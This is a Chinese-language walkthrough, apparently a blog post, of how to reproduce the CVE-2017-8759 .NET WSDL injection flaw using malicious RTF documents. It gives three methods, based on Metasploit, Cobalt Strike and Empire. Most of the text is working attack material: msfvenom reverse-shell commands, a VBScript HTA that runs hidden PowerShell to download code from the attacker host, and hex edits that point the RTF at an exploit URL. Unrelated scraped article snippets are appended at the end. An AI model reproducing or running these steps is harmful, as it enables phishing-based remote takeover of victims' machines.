微软.NET Framework cve-2017-8759 复现
0x00 漏洞前言
FireEye公司最近发现一份恶意微软Office RTF文档,其中利用到一项SOAP WSDL解析器代码注入漏洞——编号CVE-2017-8759。该漏洞允许恶意人士在解析SOAP WSDL的定义内容期间注入任意代码。FireEye公司对该微软Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本。
0x01 漏洞复现
方法一:通过cve-2017-8759_toolk反弹msf
测试环境:
目标靶机:win7x64 office2010(只能在office2010以上执行才能成功) ip:10.0.0.89
攻击机:kali2016 ip:10.0.0.86
在kali上执行:
1.下载cve-2017-8759_toolkt利用poc
root@backlion:/opt# git clone https://github.com/bhdresh/CVE-2017-8759.git
2.进入到cve-2017-8759目录中
root@backlion:/opt# cd CVE-2017-8759/
root@backlion:/opt/CVE-2017-8759# ls
3.执行生成恶意的rtf文档
root@backlion:/opt/CVE-2017-8759# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://10.0.0.86/logo.txt
4.执行生成恶意的后门文件shell.exe,本地监听4444端口
root@backlion:/opt/CVE-2017-8759# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.0.86 LPORT=4444 -f exe > /tmp/shell.exe
5.开启web服务并监听来自访问
root@backlion:/opt/CVE-2017-8759# python cve-2017-8759_toolkit.py -M exp -e http://10.0.0.86/shell.exe -l /tmp/shell.exe
6.接着开启msf,并设置本地监听地址和监听端口以及payload
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter_reverse_tcp
msf exploit(handler) > set lhost 10.0.0.86
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
sessions -i 1
最后将Invoice.rtf文档拷贝或者发送等方式到目标靶机上并执行,就可以成功反弹出shell:
方法二:利用cobaltstrike复现
测试环境:
目标靶机:win7x64 office2016(只能在office2010以上执行才能成功) ip:10.0.0.201
攻击机:kali2016 ip:10.0.0.86
1.启动cobaltstrike服务端:
root@backlion:/opt# cd cobaltstrike/
root@backlion:/opt/cobaltstrike# ./teamserver 10.0.0.86 backlion
2.启动cobaltstrike客户端:
root@backlion:/opt/cobaltstrike# java -jar cobaltstrike.jar
3.设置一个Listener(Cobal Strike = > Listener => add),添加一个HTTPS的监听器,端口为443
4.下载CVE-2017-8759,并将cmd.hta重名为cmd.jpg然后修改里面的内容,主要修改里面的IP地址,然后修改后的cmd.jpg拷贝到kali主机上的/opt目录下。我这里已经修改好了,可到我的github下载。其下载地址:https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-8759-master.zip
主要poc:
<html> <head> < script language="VBScript"> Sub window_onload window.resizeTo , window.MoveTo -,- const impersonation = Const HIDDEN_WINDOW = Set Locator = CreateObject("WScript.Shell") Locator.Run"powershell.exe -nop -w hidden -c ""IEX (new-object net.webclient).downloadstring('http://10.0.0.86/bk.exe')""",,FALSE window.close() end sub </script> <!-- <script language="VBScript"> Sub window_onload const impersonation = Const HIDDEN_WINDOW = Set Locator = CreateObject("WbemScripting.SWbemLocator") Set Service = Locator.ConnectServer() Service.Security_.ImpersonationLevel=impersonation Set objStartup = Service.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set Process = Service.Get("Win32_Process") Error = Process.Create("powershell.exe -nop -w hidden calc.exe", null, objConfig, intProcessID) window.close() end sub </script> --> </head>
5.另外也需要修改exploit.txt里面的IP地址,修改后也要上传到kali的/opt目录下。
6.设置Web Drive功能并添加cmd.jpg
Attacks=>Web Drive-by=> HOST file
7.设置Attacks=>Web Drive-by=> HOST file
8.生成木马Attacks=>Web Drive-by=> Script Web Delivery
9.点击Attacks=>Web Drive-by=> mange,查看当前设置:
10.制作trf文档,打开office,本人装的是win7,所以是office2016,插入对象为:http://10.0.0.86/exploit.txt,并保存成为test.rtf
11.在test.rtf中用记事本打开并查找找到
{\object\objautlink\rsltpict\objw4321\objh4321这一部分,替换修改为:{\object\objupdate\objautlink\rsltpict\objw4321\objh4321。其目的是让word自动更新加载poc.
12.用C32Asm静态反编译工具以16进制打开并编辑修改blob.bin
然后修改为:http://10.0.0.86/exploit.txt,利用小葵工具将其转化为16进制,去掉0x,最终为:
68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400
通过查找替换16进制进行修改:
拷贝--hex格式出:
680074007400700073003A002F002F0078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078000000000000000000
替换为:
68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000
然后保存,并在kali查看是否生成正确的地址
13.将生成好的blob.bin以16进制打开,然后全选--拷贝--hex拷贝
粘贴处所有的十六进制替换掉test.rtf里面的从:
}{\*\objdata开始到}{\result之间的所有数据,并保存文件
14.将替换好的test.rtf文件传输或者发送到目标靶机windows7主机上,并打开执行。
15.即可在cs中反弹出shell出来:
方法三:通过empire复现漏洞
测试环境:
目标靶机:win7x64 office2016(只能在 office2010 以上执行才能成功)
ip:10.0.0.201
攻击机:kali2016 ip:10.0.0.86
1.采用最新版本emprie2.1进行测试,这里分别设置了监听地址名为http,生成hta恶意代码。
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > execute
(Empire: listeners/http) > back
(Empire: listeners) > help
(Empire: listeners) > usestager windows/hta
(Empire: stager/windows/hta) > set Listener http
(Empire: stager/windows/hta) > execute
2.将生成的hta代码保存为cmd.jpg文件。
3.修改exploit.txt里面的地址,这里改成我的攻击机kali的ip地址。
3.将修改好的cmd.jpg和exploit文件放在同一目录www文件中,然后执行python的web启动服务命令,这里监听端口为8000
3.生成钓鱼rtf文档,这里在新建的word文件中插入一个对象为:http://10.0.0.86:8000/exploit.txt,然后保存为test.rtf文件
4. 在 test.rtf 中用记事本打开并查找找到
{\object\objautlink\rsltpict\objw4321\objh4321 这一部分,替换修改为:
{\object\objupdate\objautlink\rsltpict\objw4321\objh4321
5. 用 C32Asm 静态反编译工具以 16 进制打开并编辑修改 blob.bin
然后修改为:http://10.0.0.86:8000/exploit.txt,利用小葵工具将其转化为 16 进制,
去掉 0x,最终为:
68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400
通过查找替换 16 进制进行修改:
拷贝--hex 格式出:
680074007400700073003A002F002F007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800000000000000000000000000000000000000000000000000
替换为:
68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000000000000000
然后保存,并在 kali 查看是否生成正确的地址
6.将生成好的 blob.bin 以 16 进制打开,然后全选--拷贝--hex 拷贝
粘贴处所有的十六进制替换掉 test.rtf 里面的从:
}{\*\objdata 开始到}{\result 之间的所有数据,并保存文件
7..将替换好的 test.rtf 文件传输或者发送到目标靶机 windows7 主机上,并打
开执行。
8..即可在empire中可以获取反弹shell:
(Empire: stager/windows/hta) > interact 4X3CYAKB
(Empire: 4X3CYAKB) > shell ipconfig
0x02 漏洞影响
.NET系列产品的远程代码执行(RCE)并进一步控制系统
以下.NET版本
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
微软.NET Framework cve-2017-8759 复现的更多相关文章
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- 微软.NET Framework 4.5.2 RTM正式版
今天,微软.NET开发团队发布.NET Framework 4.5.2 RTM正式版.新版框架继续高度兼容现有的.NET Framework 4.4.5.4.5.1等版本,该版本框架与旧版的.NET ...
- CVE 2019-0708漏洞复现防御修复
CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...
- 微软必应词典UWP -2017春
必应UWP调研,评测 软件平台:windows10 软件名称:微软必应词典 软件类型:UWP Bug Bug1 当在文本框中进行输入时,在谷歌拼音输入法状态下,无法使用Shift键切换到谷歌拼音的纯英 ...
- 微软.net framework 源码学习
1. 直接下载.NET Framework源代码(下载地址),然后用Visual Studio打开查看. 2. 在线查看,网址:http://referencesource.microsoft.com ...
- 微软Bot Framework文档中,关于Sign-in Card的一处代码错误及更正
Bot Framework文档出错处网址:https://docs.botframework.com/en-us/csharp/builder/sdkreference/attachments.htm ...
- CVE 2019-0708 漏洞复现+
PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...
- 数据分析师的福音——VS 2017带来一体化的数据分析开发环境
(此文章同时发表在本人微信公众号“dotNET开发经验谈”,欢迎右边二维码来关注.) 题记:在上个月的Connect() 2016大会上,微软宣布了VS 2017 RC的发布,其中为数据分析师带来了一 ...
- N-Tier Entity Framework开源项目介绍
N-Tier Entity Framework是一个基于微软Entity Framework的N层.NET解决方案. 并且与以下这此技术点无缝集成了: § WCF RIA Ser ...
随机推荐
- C++从静态对象的初始化顺序理解static关键字
问题 首先考虑一个全局变量的初始化顺序问题 在头文件1中: extern int b; ; 在头文件2中: extern int a; ; 源文件中包含了头文件1和头文件2,这种情况下a和b可能的值是 ...
- 【BUG】12小时制和24小时制获取当天零点问题
[BUG]12小时制和24小时制获取当天零点问题 最近在写定时服务的时候,要获取当天的零点这个时间,但是是这样获取的 DateTime dt = DateTime.Parse(DateTime.Now ...
- 1.hive介绍及安装配置
1.Hive介绍 数据库OLTP 在线事务处理 数据仓库OLAP 在线分析处理 延迟高 类sql方式(HQL) 使用sql方式,用来读写,管理位于分布式存储系统上的大型数据集的数据仓库技术 hive是 ...
- 4. 基本socket函数
一.创建socket /* 创建一个socket */ int socket(int family, int type, int protocol); /* 参数说明 */ // domain:使用哪 ...
- border、margin、padding三者的区别
当你写前端的时候,肯定会遇到border,margin和padding这几个单词. 如: padding: 16px 0; margin: 0 10px; 在CSS中,他们是表示距离的东西,很多人刚开 ...
- c# apache服务器请求得到数据(初级)
1.代码: string data = new WebClient().DownloadString("http://localhost:81/123.txt");
- 超级迷宫需求分析与建议-NABCD模型
超级迷宫需求分析与建议-NABCD模型 制作者-姜中希 1N-Need 需求 首先这是一个手机游戏风靡的时代,随着智能手机不断的更新问世,4G网络的不断扩大普及,越来越多的手机游戏受到广大玩家的追捧 ...
- P4语法(5) Package
Package 对于package这个概念,类似于将一个框架中各组成部件以一个规律进行打包,以正常运转. 基于一个架构去编写一个新的pipeline的时候,需要先了解初始化的时候需要提供那些东西,pa ...
- web.config详解(转载)
该文为转载 原文地址:http://www.cnblogs.com/gaoweipeng/archive/2009/05/17/1458762.html 花了点时间整理了一下ASP.NET Web.c ...
- spring-test与junit
1.添加依赖 spring-test junit spring-context(自动添加依赖其他所需的spring依赖包) 2.在class前添加以下注解,用于配置xml文件的位置 @RunWith( ...